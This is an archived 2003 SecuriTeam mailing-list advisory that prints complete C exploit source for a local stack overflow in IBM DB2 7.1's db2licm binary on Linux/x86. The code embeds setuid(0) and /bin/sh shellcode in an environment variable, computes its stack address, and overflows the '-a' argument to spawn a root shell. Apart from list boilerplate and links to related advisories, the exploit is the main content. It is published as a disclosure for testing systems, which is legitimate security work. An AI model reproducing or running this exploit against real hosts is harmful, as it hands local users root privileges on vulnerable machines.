[EXPL] IBM DB2 Universal Database db2licm Local Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 10/07/03

  • Next message: SecuriTeam: "[NT] Process Killing - Playing with PostThreadMessage"
    To: list@securiteam.com
    Date: 7 Oct 2003 17:45:52 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      IBM DB2 Universal Database db2licm Local Exploit
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/securitynews/5OP0C2AB5U.html> Multiple IBM DB2
    Stack Overflow Vulnerabilities, a vulnerability in IBM DB2 allows local
    users to gain elevated privileges, the following exploit code can be used
    to test your system for the mentioned vulnerability.

    DETAILS

    Exploit:
    /*
      Local Exploit for db2licm
      IBM db2 v 7.1 Linux/x86

      vulnerability researched by
      Juan Manuel Pascual Escriba
      pask at uninet.edu
     */

    char sc[]=
    "\x31\xc0" /* begin setuid (0) */
    "\x31\xdb"
    "\xb0\x17"
    "\xcd\x80"

    "\xeb\x1f"
    "\x5e"
    "\x89\x76\x08"
    "\x31\xc0"
    "\x88\x46\x07"
    "\x89\x46\x0c"
    "\xb0\x0b"
    "\x89\xf3"
    "\x8d\x4e\x08"
    "\x8d\x56\x0c"
    "\xcd\x80"
    "\x31\xdb"
    "\x89\xd8"
    "\x40"
    "\xcd\x80"
    "\xe8\xdc\xff\xff\xff"
    "/bin/sh";

    #define STACK_TOP_X86 0xC0000000
    #define ALG_MASK 0xfffffff4
    #define ADDR 1000
    #define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"

    #define DFL_ALG 4

    int main(int arc, char **arv){
            char *argv[3];
            char *envp[2];
            unsigned long sc_address, ba=0;
            unsigned char alg = DFL_ALG;
            unsigned long *p;
            unsigned char *q;
            unsigned int i;

            sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;
            printf("shellcode address = 0x%X\n",sc_address);

            if( (sc_address & ALG_MASK) != sc_address ) {
                    ba = sc_address - (sc_address & ALG_MASK);
                    printf("adding %d trailing bytes to backward align
    Shellcode to 0x%X\n", ba,
    sc_address & ALG_MASK);
                    sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) -
    sizeof(sc) - ba - 1;
                    printf("new shellcode address = 0x%X\n",sc_address);
            }

            envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
            q = envp[0];
            strcpy(q,"pete=");
            q += strlen("pete=");
            memcpy(q,sc,sizeof(sc));
            q += sizeof(sc)-1;
            memset(q,'A',ba);
            q += ba;
            *q = 0;
            envp[1] = 0;

            /* build overflowing arvg[2] */

            printf("using alignment = %d in overflow buffer\n",alg);

            argv[0] = DB2LICM;
      argv[1] = "-a";
            argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);
            memset(argv[2],'A',alg);
            p=(unsigned long*)(argv[2]+alg);
            for(i=0;i<ADDR;i++) {
                    *p = sc_address;
                    p++;
            };
            *p = 0;
            argv[3] = 0;

            printf("executing %s ...\n\n",argv[0]);
            execve(argv[0],argv,envp);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:pask@uninet.edu> Juan Manuel
    Pascual Escriba.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Process Killing - Playing with PostThreadMessage"

    Relevant Pages

    • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
      (Securiteam)
    • [UNIX] SCO Multiple Local Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
      (Securiteam)
    • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
      (Securiteam)
    • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
      (Securiteam)
    • [NT] Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, Collaboration Suite SMTP Format
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, ... Collaboration Suite SMTP Format String) ... Remote exploitation of a denial of service vulnerability in Ipswitch ...
      (Securiteam)